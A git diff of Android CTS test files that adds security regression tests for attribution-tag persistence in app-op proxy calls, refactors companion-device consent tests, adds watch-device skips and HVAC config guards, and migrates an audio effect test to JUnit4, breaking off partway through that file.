 
diff --git a/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt b/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt
index def00ed..d513782 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt
@@ -20,9 +20,11 @@
 import android.app.AppOpsManager.OPSTR_READ_CONTACTS
 import android.app.AppOpsManager.OPSTR_WIFI_SCAN
 import android.app.AppOpsManager.OP_FLAGS_ALL
+import android.content.Context
 import android.content.Intent
 import android.content.ComponentName
 import android.platform.test.annotations.AppModeFull
+import android.platform.test.annotations.AsbSecurityTest
 import androidx.test.platform.app.InstrumentationRegistry
 import com.google.common.truth.Truth.assertThat
 import org.junit.Before
@@ -189,8 +191,58 @@
         installApk("AppWithLongAttributionTag.apk")
     }
 
+    @AsbSecurityTest(cveBugId = [304983146])
     @Test(expected = AssertionError::class)
     fun cannotUseTooManyAttributions() {
         installApk("AppWithTooManyAttributions.apk")
     }
+
+    @AsbSecurityTest(cveBugId = [304983146])
+    @Test
+    fun noteProxyOpDoesNotPersistInvalidAttribution() {
+        noteProxyOpForAttribution("invalid", ATTRIBUTION_1)
+        assertThat(getPersistedAttribution(ATTRIBUTION_1))
+                .isNull()
+    }
+
+    @AsbSecurityTest(cveBugId = [304983146])
+    @Test
+    fun noteProxyOpPersistsValidAttribution() {
+        noteProxyOpForAttribution(ATTRIBUTION_2, ATTRIBUTION_2)
+        assertThat(getPersistedAttribution(ATTRIBUTION_2))
+                .isEqualTo(ATTRIBUTION_2)
+    }
+
+    @AsbSecurityTest(cveBugId = [304983146])
+    @Test
+    fun startProxyOpDoesNotPersistInvalidAttribution() {
+        startProxyOpForAttribution("invalid", ATTRIBUTION_1)
+        assertThat(getPersistedAttribution(ATTRIBUTION_1))
+                .isNull()
+    }
+
+    @AsbSecurityTest(cveBugId = [304983146])
+    @Test
+    fun startProxyOpPersistsValidAttribution() {
+        startProxyOpForAttribution(ATTRIBUTION_2, ATTRIBUTION_2)
+        assertThat(getPersistedAttribution(ATTRIBUTION_2))
+                .isEqualTo(ATTRIBUTION_2)
+    }
+
+    private fun noteProxyOpForAttribution(attributionForContextCreation: String, attributionForNoteOp: String) {
+        val ctx = context.createAttributionContext(attributionForContextCreation)
+        val appOpsManager = ctx.getSystemService(Context.APP_OPS_SERVICE) as AppOpsManager
+        appOpsManager.noteProxyOp(OPSTR_WIFI_SCAN, APP_PKG, appUid, attributionForNoteOp, "message")
+    }
+
+    private fun startProxyOpForAttribution(attributionForContextCreation: String, attributionForNoteOp: String) {
+        val ctx = context.createAttributionContext(attributionForContextCreation)
+        val appOpsManager = ctx.getSystemService(Context.APP_OPS_SERVICE) as AppOpsManager
+        appOpsManager.startProxyOp(OPSTR_WIFI_SCAN, appUid, APP_PKG, attributionForNoteOp,"message")
+    }
+
+    private fun getPersistedAttribution(attribution: String) : String? {
+        val entry = getOpEntry(appUid, APP_PKG, OPSTR_WIFI_SCAN) as AppOpsManager.OpEntry
+        return entry.attributedOpEntries[attribution]?.getLastProxyInfo(OP_FLAGS_ALL)?.attributionTag
+    }
 }
diff --git a/tests/tests/attributionsource/src/android/attributionsource/cts/RuntimePermissionsAppOpTrackingTest.kt b/tests/tests/attributionsource/src/android/attributionsource/cts/RuntimePermissionsAppOpTrackingTest.kt
index df38cf9..1f6fe38 100644
--- a/tests/tests/attributionsource/src/android/attributionsource/cts/RuntimePermissionsAppOpTrackingTest.kt
+++ b/tests/tests/attributionsource/src/android/attributionsource/cts/RuntimePermissionsAppOpTrackingTest.kt
@@ -1001,7 +1001,17 @@
                 }
                 assertThat(opProxyInfo!!.uid).isEqualTo(attributionSource.uid)
                 assertThat(opProxyInfo.packageName).isEqualTo(attributionSource.packageName)
-                assertThat(opProxyInfo.attributionTag).isEqualTo(attributionSource.attributionTag)
+
+                /* Fix made to b/304983146 treats the attribution coming from shell as invalid
+                 because it will not exist in shell package. Hence this change is to
+                 validate them as null instead of actual values
+                */
+                if (attributionSource.packageName == SHELL_PACKAGE_NAME) {
+                    assertThat(opProxyInfo.attributionTag).isNull()
+                } else {
+                    assertThat(opProxyInfo.attributionTag)
+                        .isEqualTo(attributionSource.attributionTag)
+                }
             }
         }
 
diff --git a/tests/tests/car/src/android/car/cts/CarOccupantConnectionManagerTest.java b/tests/tests/car/src/android/car/cts/CarOccupantConnectionManagerTest.java
index ea49be4..2c729b4 100644
--- a/tests/tests/car/src/android/car/cts/CarOccupantConnectionManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarOccupantConnectionManagerTest.java
@@ -72,6 +72,7 @@
     private static final long WAIT_BEFORE_RESPOND_TO_REQUEST_MS = 2_000;
     private static final long CALLBACK_TIMEOUT_MS = WAIT_BEFORE_RESPOND_TO_REQUEST_MS + 2_000;
     private static final long EXCHANGE_PAYLOAD_TIMEOUT_MS = 10_000;
+    private static final long POLLING_CHECK_TIMEOUT_MS = 3_000;
 
     private static final Payload PAYLOAD1 = new Payload(HexFormat.of().parseHex("1234"));
     private static final Payload PAYLOAD2 = new Payload(HexFormat.of().parseHex("5678"));
@@ -114,19 +115,19 @@
             "android.car.occupantconnection.CarOccupantConnectionManager#unregisterReceiver",
             "android.car.occupantconnection.AbstractReceiverService#getAllReceiverEndpoints",
             "android.car.occupantconnection.AbstractReceiverService#onLocalServiceBind"})
-    public void testRegisterAndUnregisterReceiver() {
+    public void testRegisterAndUnregisterReceiver() throws Exception {
         mOccupantConnectionManager.registerReceiver(RECEIVER_ID, mExecutor,
                 (senderZone, payload) -> {
                 });
         TestReceiverService receiverService = bindToLocalReceiverServiceAndWait();
 
-        assertWithMessage("Failed to register the receiver").that(
-                receiverService.getAllReceiverEndpoints().contains(RECEIVER_ID)).isTrue();
+        PollingCheck.check("Failed to register the receiver", POLLING_CHECK_TIMEOUT_MS,
+                () -> receiverService.getAllReceiverEndpoints().contains(RECEIVER_ID));
 
         mOccupantConnectionManager.unregisterReceiver(RECEIVER_ID);
 
-        assertWithMessage("Failed to unregister the receiver").that(
-                receiverService.getAllReceiverEndpoints().isEmpty()).isTrue();
+        PollingCheck.check("Failed to unregister the receiver", POLLING_CHECK_TIMEOUT_MS,
+                () -> receiverService.getAllReceiverEndpoints().isEmpty());
     }
 
     @Test
@@ -388,6 +389,7 @@
 
         @Override
         public void onReceiverRegistered(String receiverEndpointId) {
+            Log.v(TAG, "onReceiverRegistered:" + receiverEndpointId);
         }
 
         @Override
diff --git a/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java b/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
index 292091b..e18ed84 100644
--- a/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarPropertyManagerTest.java
@@ -5335,6 +5335,9 @@
                 .setCarPropertyConfigVerifier(
                         carPropertyConfig -> {
                             List<Integer> configArray = carPropertyConfig.getConfigArray();
+                            if (configArray.isEmpty()) {
+                                return;
+                            }
                             assertWithMessage("HVAC_TEMPERATURE_SET config array must be size 6")
                                     .that(configArray.size())
                                     .isEqualTo(6);
diff --git a/tests/tests/car/src/android/car/cts/utils/VehiclePropertyVerifier.java b/tests/tests/car/src/android/car/cts/utils/VehiclePropertyVerifier.java
index 5bea216..b712c0e 100644
--- a/tests/tests/car/src/android/car/cts/utils/VehiclePropertyVerifier.java
+++ b/tests/tests/car/src/android/car/cts/utils/VehiclePropertyVerifier.java
@@ -942,6 +942,9 @@
         }
         List<Integer> hvacTemperatureSetConfigArray =
                 hvacTemperatureSetCarPropertyConfig.getConfigArray();
+        if (hvacTemperatureSetConfigArray.isEmpty()) {
+            return;
+        }
         float minTempInCelsius = hvacTemperatureSetConfigArray.get(0).floatValue() / 10f;
         float minTempInFahrenheit = hvacTemperatureSetConfigArray.get(3).floatValue() / 10f;
 
@@ -1659,7 +1662,9 @@
         }
         List<Integer> hvacTemperatureSetConfigArray =
                 hvacTemperatureSetCarPropertyConfig.getConfigArray();
-
+        if (hvacTemperatureSetConfigArray.isEmpty()) {
+            return;
+        }
         Integer minTempInCelsiusTimesTen =
                 hvacTemperatureSetConfigArray.get(0);
         Integer maxTempInCelsiusTimesTen =
diff --git a/tests/tests/companion/core/src/android/companion/cts/core/AssociateTest.kt b/tests/tests/companion/core/src/android/companion/cts/core/AssociateTest.kt
index 839403e..3bd4e84 100644
--- a/tests/tests/companion/core/src/android/companion/cts/core/AssociateTest.kt
+++ b/tests/tests/companion/core/src/android/companion/cts/core/AssociateTest.kt
@@ -24,8 +24,10 @@
 import android.companion.cts.common.SIMPLE_EXECUTOR
 import android.platform.test.annotations.AppModeFull
 import androidx.test.ext.junit.runners.AndroidJUnit4
+import com.android.compatibility.common.util.FeatureUtil
 import kotlin.test.assertEquals
 import kotlin.test.assertIs
+import org.junit.Assume.assumeFalse
 import org.junit.Test
 import org.junit.runner.RunWith
 
@@ -42,6 +44,8 @@
 
     @Test
     fun test_associate() {
+        assumeFalse(FeatureUtil.isWatch())
+
         val request: AssociationRequest = AssociationRequest.Builder()
                 .build()
         val callback = RecordingCallback()
diff --git a/tests/tests/companion/core/src/android/companion/cts/core/DeviceProfilesTest.kt b/tests/tests/companion/core/src/android/companion/cts/core/DeviceProfilesTest.kt
index dff8565..c11cb23 100644
--- a/tests/tests/companion/core/src/android/companion/cts/core/DeviceProfilesTest.kt
+++ b/tests/tests/companion/core/src/android/companion/cts/core/DeviceProfilesTest.kt
@@ -1,5 +1,6 @@
 package android.companion.cts.core
 
+import android.annotation.CallSuper
 import android.app.role.RoleManager.ROLE_ASSISTANT
 import android.app.role.RoleManager.ROLE_BROWSER
 import android.app.role.RoleManager.ROLE_CALL_REDIRECTION
@@ -18,12 +19,14 @@
 import android.companion.cts.common.assertEmpty
 import android.platform.test.annotations.AppModeFull
 import androidx.test.ext.junit.runners.AndroidJUnit4
-import org.junit.Test
-import org.junit.runner.RunWith
+import com.android.compatibility.common.util.FeatureUtil
 import kotlin.test.assertEquals
 import kotlin.test.assertFailsWith
 import kotlin.test.assertIs
 import kotlin.test.assertNotNull
+import org.junit.Assume.assumeFalse
+import org.junit.Test
+import org.junit.runner.RunWith
 
 /**
  * Test CDM device profiles.
@@ -38,6 +41,14 @@
 @AppModeFull(reason = "CompanionDeviceManager APIs are not available to the instant apps.")
 @RunWith(AndroidJUnit4::class)
 class DeviceProfilesTest : CoreTestBase() {
+
+    @CallSuper
+    override fun setUp() {
+        super.setUp()
+
+        assumeFalse(FeatureUtil.isWatch())
+    }
+
     /** Test that all supported device profiles require a permission. */
     @Test
     fun test_supportedProfiles() {
@@ -123,4 +134,4 @@
                 ""
         )
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/companion/uiautomation/src/android/companion/cts/uiautomation/SystemDataTransferTest.kt b/tests/tests/companion/uiautomation/src/android/companion/cts/uiautomation/SystemDataTransferTest.kt
index a540bf3..30e3b39 100644
--- a/tests/tests/companion/uiautomation/src/android/companion/cts/uiautomation/SystemDataTransferTest.kt
+++ b/tests/tests/companion/uiautomation/src/android/companion/cts/uiautomation/SystemDataTransferTest.kt
@@ -28,10 +28,12 @@
 import android.os.OutcomeReceiver
 import android.platform.test.annotations.AppModeFull
 import androidx.test.ext.junit.runners.AndroidJUnit4
+import com.android.compatibility.common.util.FeatureUtil
 import java.io.ByteArrayInputStream
 import java.io.ByteArrayOutputStream
 import java.io.PipedInputStream
 import java.io.PipedOutputStream
+import java.lang.IllegalStateException
 import java.nio.ByteBuffer
 import java.nio.charset.StandardCharsets
 import java.util.concurrent.CountDownLatch
@@ -40,9 +42,12 @@
 import java.util.concurrent.atomic.AtomicInteger
 import java.util.concurrent.atomic.AtomicReference
 import kotlin.test.assertEquals
+import kotlin.test.assertFalse
 import kotlin.test.assertNotNull
 import kotlin.test.assertTrue
 import libcore.util.EmptyArray
+import org.junit.Assume.assumeFalse
+import org.junit.Assume.assumeTrue
 import org.junit.Test
 import org.junit.runner.RunWith
 
@@ -56,11 +61,27 @@
 class SystemDataTransferTest : UiAutomationTestBase(null, null) {
     companion object {
         private const val SYSTEM_DATA_TRANSFER_TIMEOUT = 10L // 10 seconds
+
+        private const val ACTION_CLICK_ALLOW = 1
+        private const val ACTION_CLICK_DISALLOW = 2
+        private const val ACTION_PRESS_BACK = 3
     }
 
     @CallSuper
     override fun setUp() {
         super.setUp()
+
+        assumeFalse(FeatureUtil.isWatch())
+
+        // Assume Permission Transfer is enabled, otherwise skip the test.
+        try {
+            val association = associate()
+            cdm.buildPermissionTransferUserConsentIntent(association.id)
+            true
+        } catch (e: UnsupportedOperationException) {
+            false
+        }.apply { assumeTrue("This test requires Permission Transfer to be enabled.", this) }
+
         withShellPermissionIdentity(MANAGE_COMPANION_DEVICES) {
             cdm.enableSecureTransport(false)
         }
@@ -75,92 +96,58 @@
     }
 
     @Test
-    fun test_userConsentDialogAllowed() {
-        val association1 = associate()
+    fun test_userConsent_allow() {
+        val association = associate()
 
-        // First time request permission transfer should prompt a dialog
-        val pendingUserConsent = cdm.buildPermissionTransferUserConsentIntent(association1.id)
-        assertNotNull(pendingUserConsent)
-        CompanionActivity.startIntentSender(pendingUserConsent)
-        confirmationUi.waitUntilSystemDataTransferConfirmationVisible()
-        confirmationUi.clickPositiveButton()
-        val (resultCode: Int, _: Intent?) = CompanionActivity.waitForActivityResult()
+        val resultCode = requestPermissionTransferUserConsent(association.id, ACTION_CLICK_ALLOW)
+
         assertEquals(expected = RESULT_OK, actual = resultCode)
-
-        // Second time request permission transfer should get non null IntentSender
-        val pendingUserConsent2 = cdm.buildPermissionTransferUserConsentIntent(association1.id)
-        assertNotNull(pendingUserConsent2)
-
-        // disassociate() should clean up the requests
-        cdm.disassociate(association1.id)
-        Thread.sleep(2_100)
-        val association2 = associate()
-        val pendingUserConsent3 = cdm.buildPermissionTransferUserConsentIntent(association2.id)
-        assertNotNull(pendingUserConsent3)
     }
 
     @Test
-    fun test_userConsentDialogDisallowed() {
-        val association1 = associate()
+    fun test_userConsent_disallow() {
+        val association = associate()
 
-        // First time request permission transfer should prompt a dialog
-        val pendingUserConsent = cdm.buildPermissionTransferUserConsentIntent(association1.id)
-        assertNotNull(pendingUserConsent)
-        CompanionActivity.startIntentSender(pendingUserConsent)
-        confirmationUi.waitUntilSystemDataTransferConfirmationVisible()
-        confirmationUi.clickNegativeButton()
-        val (resultCode: Int, _: Intent?) = CompanionActivity.waitForActivityResult()
+        val resultCode = requestPermissionTransferUserConsent(
+            association.id,
+            ACTION_CLICK_DISALLOW
+        )
+
+        assertEquals(expected = RESULT_CANCELED, actual = resultCode)
+    }
+
+    @Test
+    fun test_userConsent_cancel() {
+        val association = associate()
+
+        requestPermissionTransferUserConsent(association.id, ACTION_PRESS_BACK)
+    }
+
+    @Test
+    fun test_userConsent_allowThenDisallow() {
+        val association = associate()
+
+        val resultCode = requestPermissionTransferUserConsent(association.id, ACTION_CLICK_ALLOW)
+
+        assertEquals(expected = RESULT_OK, actual = resultCode)
+
+        val resultCode2 = requestPermissionTransferUserConsent(
+            association.id,
+            ACTION_CLICK_DISALLOW
+        )
+        assertEquals(expected = RESULT_CANCELED, actual = resultCode2)
+    }
+
+    @Test
+    fun test_userConsent_disallowThenAllow() {
+        val association = associate()
+
+        val resultCode = requestPermissionTransferUserConsent(association.id, ACTION_CLICK_DISALLOW)
+
         assertEquals(expected = RESULT_CANCELED, actual = resultCode)
 
-        // Second time request permission transfer should get non null IntentSender
-        val pendingUserConsent2 = cdm.buildPermissionTransferUserConsentIntent(association1.id)
-        assertNotNull(pendingUserConsent2)
-
-        // disassociate() should clean up the requests
-        cdm.disassociate(association1.id)
-        Thread.sleep(2_100)
-        val association2 = associate()
-        val pendingUserConsent3 = cdm.buildPermissionTransferUserConsentIntent(association2.id)
-        assertNotNull(pendingUserConsent3)
-    }
-
-    @Test
-    fun test_userConsentDialogCanceled() {
-        val association1 = associate()
-
-        // First time request permission transfer should prompt a dialog
-        val pendingUserConsent = cdm.buildPermissionTransferUserConsentIntent(association1.id)
-        assertNotNull(pendingUserConsent)
-        CompanionActivity.startIntentSender(pendingUserConsent)
-        confirmationUi.waitUntilSystemDataTransferConfirmationVisible()
-        uiDevice.pressBack()
-
-        // Second time request permission transfer should prompt a dialog
-        val pendingUserConsent2 = cdm.buildPermissionTransferUserConsentIntent(association1.id)
-        assertNotNull(pendingUserConsent2)
-    }
-
-    @Test
-    fun test_userConsentDialogAllowedAndThenDisallowed() {
-        val association1 = associate()
-
-        // First time request permission transfer should prompt a dialog
-        val pendingUserConsent = cdm.buildPermissionTransferUserConsentIntent(association1.id)
-        assertNotNull(pendingUserConsent)
-        CompanionActivity.startIntentSender(pendingUserConsent)
-        confirmationUi.waitUntilSystemDataTransferConfirmationVisible()
-        confirmationUi.clickPositiveButton()
-        val (resultCode: Int, _: Intent?) = CompanionActivity.waitForActivityResult()
-        assertEquals(expected = RESULT_OK, actual = resultCode)
-
-        // Second time request permission transfer should prompt a dialog
-        val pendingUserConsent2 = cdm.buildPermissionTransferUserConsentIntent(association1.id)
-        assertNotNull(pendingUserConsent2)
-        CompanionActivity.startIntentSender(pendingUserConsent2)
-        confirmationUi.waitUntilSystemDataTransferConfirmationVisible()
-        confirmationUi.clickNegativeButton()
-        val (resultCode2: Int, _: Intent?) = CompanionActivity.waitForActivityResult()
-        assertEquals(expected = RESULT_CANCELED, actual = resultCode2)
+        val resultCode2 = requestPermissionTransferUserConsent(association.id, ACTION_CLICK_ALLOW)
+        assertEquals(expected = RESULT_OK, actual = resultCode2)
     }
 
     /**
@@ -185,7 +172,7 @@
     @Test
     fun test_startSystemDataTransfer_success() {
         val association = associate()
-        requestPermissionTransferUserConsent(association.id)
+        requestPermissionTransferUserConsent(association.id, ACTION_CLICK_ALLOW)
 
         // Generate data packet with successful response
         val response = generatePacket(MESSAGE_RESPONSE_SUCCESS, "SUCCESS")
@@ -199,7 +186,7 @@
     @Test(expected = CompanionException::class)
     fun test_startSystemDataTransfer_failure() {
         val association = associate()
-        requestPermissionTransferUserConsent(association.id)
+        requestPermissionTransferUserConsent(association.id, ACTION_CLICK_ALLOW)
 
         // Generate data packet with failure as response
         val response = generatePacket(MESSAGE_RESPONSE_FAILURE, "FAILURE")
@@ -265,12 +252,21 @@
      * Execute UI flow to request user consent for permission transfer for a given association
      * and grant permission.
      */
-    private fun requestPermissionTransferUserConsent(associationId: Int) {
+    private fun requestPermissionTransferUserConsent(associationId: Int, action: Int): Int {
         val pendingUserConsent = cdm.buildPermissionTransferUserConsentIntent(associationId)
         CompanionActivity.startIntentSender(pendingUserConsent!!)
         confirmationUi.waitUntilSystemDataTransferConfirmationVisible()
-        confirmationUi.clickPositiveButton()
-        CompanionActivity.waitForActivityResult()
+        when (action) {
+            ACTION_CLICK_ALLOW -> confirmationUi.clickPositiveButton()
+            ACTION_CLICK_DISALLOW -> confirmationUi.clickNegativeButton()
+            ACTION_PRESS_BACK -> {
+                uiDevice.pressBack()
+                return -100 // an invalid result code which shouldn't be checked against
+            }
+            else -> throw IllegalStateException("Unknown action.")
+        }
+        val (resultCode: Int, _: Intent?) = CompanionActivity.waitForActivityResult()
+        return resultCode
     }
 
     /**
diff --git a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
index e5c9ac0..721c0b6 100644
--- a/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
+++ b/tests/tests/content/CtsSyncAccountAccessOtherCertTests/src/com/android/cts/content/CtsSyncAccountAccessOtherCertTestCases.java
@@ -28,6 +28,7 @@
 import static com.android.cts.content.Utils.withAccount;
 
 import static org.junit.Assume.assumeFalse;
+import static org.junit.Assume.assumeNotNull;
 import static org.junit.Assume.assumeTrue;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.Mockito.never;
@@ -46,6 +47,7 @@
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
 import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.Direction;
 import androidx.test.uiautomator.UiDevice;
 import androidx.test.uiautomator.UiObject2;
 import androidx.test.uiautomator.UiObjectNotFoundException;
@@ -113,15 +115,11 @@
         UiDevice uiDevice = getUiDevice();
         if (uiDevice.openNotification()) {
             Thread.sleep(1000);
-            for (int i = 0; i < 5; i++) {
-                final UiObject2 clear = uiDevice
-                        .wait(Until.findObject(By.text("Clear all")), 2000);
-                if (clear != null) {
-                    clear.click();
-                    break;
-                }
-                scrollNotifications();
-            }
+            UiObject2 scrollable = uiDevice.findObject(By.scrollable(true));
+            UiObject2 clear =
+                    scrollable.scrollUntil(Direction.DOWN, Until.findObject(By.text("Clear all")));
+            assumeNotNull(clear);
+            clear.click();
         }
 
         try (AutoCloseable ignored = withAccount(activity.getActivity())) {
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
index 7ffe9e9..f82cfc5 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerTest.java
@@ -2075,14 +2075,9 @@
 
     @Test
     public void testInstall_withLongUsesPermissionName_fail() {
-        String expectedErrorCode = "INSTALL_PARSE_FAILED_UNEXPECTED_EXCEPTION";
-        String expectedErrorMessage =
-                "String length limit exceeded for attribute in uses-permission";
-
+        String expectedErrorCode = "INSTALL_PARSE_FAILED";
         String installResult = installPackageWithResult(LONG_USES_PERMISSION_NAME_APK);
-
         assertThat(installResult).contains(expectedErrorCode);
-        assertThat(installResult).contains(expectedErrorMessage);
     }
 
     private String installPackageWithResult(String apkPath) {
diff --git a/tests/tests/display/src/android/display/cts/DisplayManagerTest.java b/tests/tests/display/src/android/display/cts/DisplayManagerTest.java
index b85d5bb..555fa782 100644
--- a/tests/tests/display/src/android/display/cts/DisplayManagerTest.java
+++ b/tests/tests/display/src/android/display/cts/DisplayManagerTest.java
@@ -20,6 +20,7 @@
 import static android.view.WindowInsets.Type.systemBars;
 
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
 import android.app.Instrumentation;
@@ -97,6 +98,9 @@
 
     @Test
     public void testCreateVirtualDisplayFromShell() throws InterruptedException {
+        // b/317812433: Disable test until test can be fixed for specific devices
+        assumeTrue(false);
+
         mInstrumentation.getUiAutomation().adoptShellPermissionIdentity();
         mActivity.waitForReady();
         mInstrumentation.waitForIdleSync();
diff --git a/tests/tests/jni/.clang-format b/tests/tests/jni/.clang-format
new file mode 120000
index 0000000..52b0a87
--- /dev/null
+++ b/tests/tests/jni/.clang-format
@@ -0,0 +1 @@
+../../../../art/.clang-format
\ No newline at end of file
diff --git a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
index 6c40afc..601d9b0 100644
--- a/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
+++ b/tests/tests/jni/libjnitest/android_jni_cts_LinkerNamespacesTest.cpp
@@ -26,8 +26,9 @@
 #include <libgen.h>
 #include <stdlib.h>
 #include <string.h>
-#include <sys/types.h>
 #include <sys/stat.h>
+#include <sys/system_properties.h>
+#include <sys/types.h>
 #include <unistd.h>
 
 #include <queue>
@@ -36,11 +37,12 @@
 #include <unordered_set>
 #include <vector>
 
-#include <android-base/file.h>
-#include <android-base/properties.h>
-#include <android-base/strings.h>
-#include <nativehelper/scoped_local_ref.h>
-#include <nativehelper/scoped_utf_chars.h>
+#include "android-base/file.h"
+#include "android-base/macros.h"
+#include "android-base/properties.h"
+#include "android-base/strings.h"
+#include "nativehelper/scoped_local_ref.h"
+#include "nativehelper/scoped_utf_chars.h"
 
 #if defined(__LP64__)
 #define LIB_DIR "lib64"
@@ -80,6 +82,11 @@
 
 static const std::string kWebViewPlatSupportLib = "libwebviewchromium_plat_support.so";
 
+static inline bool running_with_native_bridge() {
+  static const prop_info* pi = __system_property_find("ro.dalvik.vm.isa." ABI_STRING);
+  return pi != nullptr;
+}
+
 static bool not_accessible(const std::string& err) {
   return err.find("dlopen failed: library \"") == 0 &&
          err.find("is not accessible for the namespace \"") != std::string::npos;
@@ -154,11 +161,14 @@
     java_load_lib_ok = env->GetStringLength(java_load_lib_errmsg) == 0;
   }
 
-  if (loaded_in_native != java_load_ok || java_load_ok != java_load_lib_ok) {
+  // When running with native bridge it is allowed to be able to open both device host and guest
+  // libraries from java, while native dlopen doesn't allow opening device host libraries from
+  // the device guest code.
+  if ((!running_with_native_bridge() && loaded_in_native != java_load_ok) ||
+      java_load_ok != java_load_lib_ok) {
     const std::string java_load_error(ScopedUtfChars(env, java_load_errmsg).c_str());
     error = "Inconsistent result for library \"" + path + "\": dlopen() " +
-            (loaded_in_native ? "succeeded" : "failed (" + error + ")") +
-            ", System.load() " +
+            (loaded_in_native ? "succeeded" : "failed (" + error + ")") + ", System.load() " +
             (java_load_ok ? "succeeded" : "failed (" + java_load_error + ")");
     if (test_system_load_library) {
       const std::string java_load_lib_error(ScopedUtfChars(env, java_load_lib_errmsg).c_str());
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/AudioEffectTest.java b/tests/tests/media/audio/src/android/media/audio/cts/AudioEffectTest.java
index bf12cd8..85c7baf 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/AudioEffectTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/AudioEffectTest.java
@@ -16,6 +16,12 @@
 
 package android.media.audio.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.content.res.AssetFileDescriptor;
 import android.media.AudioFormat;
 import android.media.AudioManager;
@@ -26,17 +32,23 @@
 import android.media.audiofx.AudioEffect;
 import android.media.audiofx.EnvironmentalReverb;
 import android.media.audiofx.PresetReverb;
-import android.media.cts.PostProcTestBase;
 import android.os.Looper;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.NonMainlineTest;
 
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.UUID;
 
 @AppModeFull(reason = "Dynamic congic not supported")
 @NonMainlineTest
+@RunWith(AndroidJUnit4.class)
 public class AudioEffectTest extends PostProcTestBase {
 
     private String TAG = "AudioEffectTest";
@@ -61,8 +73,8 @@
     // AUDIOEFFECT TESTS:
     //----------------------------------
 
-    @Override
-    protected void tearDown() throws Exception {
+    @After
+    public void tearDown() throws Exception {
         releaseEffect();
         terminateMediaPlayerLooper();
         terminateListenerLooper();
@@ -73,6 +85,7 @@
     //----------------------------------
 
     //Test case 0.0: test queryEffects() and platfrom at least provides an Equalizer
+    @Test
     public void test0_0QueryEffects() throws Exception {
 
         AudioEffect.Descriptor[] desc = AudioEffect.queryEffects();
@@ -130,6 +143,7 @@
 //    Note: This test was removed because it used hidden api's.
 
     //Test case 1.3: test getEnabled() failure when called on released effect
+    @Test
     public void test1_3GetEnabledAfterRelease() throws Exception {
         try {
             AudioEffect effect = new AudioEffect(AudioEffect.EFFECT_TYPE_EQUALIZER,
@@ -152,10 +166,11 @@
     }
 
     //Test case 1.4: test contructor on mediaPlayer audio session
+    @Test
     public void test1_4InsertOnMediaPlayer() throws Exception {
         MediaPlayer mp = new MediaPlayer();
         assertNotNull("could not create mediaplayer", mp);
-        AssetFileDescriptor afd = mContext.getResources().openRawResourceFd(R.raw.testmp3);
+        AssetFileDescriptor afd = getContext().getResources().openRawResourceFd(R.raw.testmp3);
         try {
             mp.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
         } finally {
@@ -174,6 +189,7 @@
     }
 
     //Test case 1.5: test auxiliary effect attachement on MediaPlayer
+    @Test
     public void test1_5AuxiliaryOnMediaPlayer() throws Exception {
         if (!isPresetReverbAvailable()) {
             return;
@@ -184,7 +200,7 @@
             waitForLooperInitialization_l();
 
             mError = 0;
-            AssetFileDescriptor afd = mContext.getResources().openRawResourceFd(R.raw.testmp3);
+            AssetFileDescriptor afd = getContext().getResources().openRawResourceFd(R.raw.testmp3);
             try {
                 mMediaPlayer.setDataSource(afd.getFileDescriptor(),
                                            afd.getStartOffset(),
@@ -212,6 +228,7 @@
     }
 
     //Test case 1.6: test auxiliary effect attachement failure before setDatasource
+    @Test
     public void test1_6AuxiliaryOnMediaPlayerFailure() throws Exception {
         if (!isPresetReverbAvailable()) {
             return;
@@ -246,6 +263,7 @@
 
 
     //Test case 1.7: test auxiliary effect attachement on AudioTrack
+    @Test
     public void test1_7AuxiliaryOnAudioTrack() throws Exception {
         if (!isPresetReverbAvailable()) {
             return;
@@ -290,6 +308,7 @@
 
 
     //Test case 2.0: test setEnabled() and getEnabled() in valid state
+    @Test
     public void test2_0SetEnabledGetEnabled() throws Exception {
         try {
             AudioEffect effect = new AudioEffect(AudioEffect.EFFECT_TYPE_EQUALIZER,
@@ -317,6 +336,7 @@
     }
 
     //Test case 2.1: test setEnabled() throws exception after release
+    @Test
     public void test2_1SetEnabledAfterRelease() throws Exception {
         try {
             AudioEffect effect = new AudioEffect(AudioEffect.EFFECT_TYPE_EQUALIZER,
@@ -343,6 +363,7 @@
     //----------------------------------
 
     //Test case 3.0: test setParameter(byte[], byte[]) / getParameter(byte[], byte[])
+    @Test
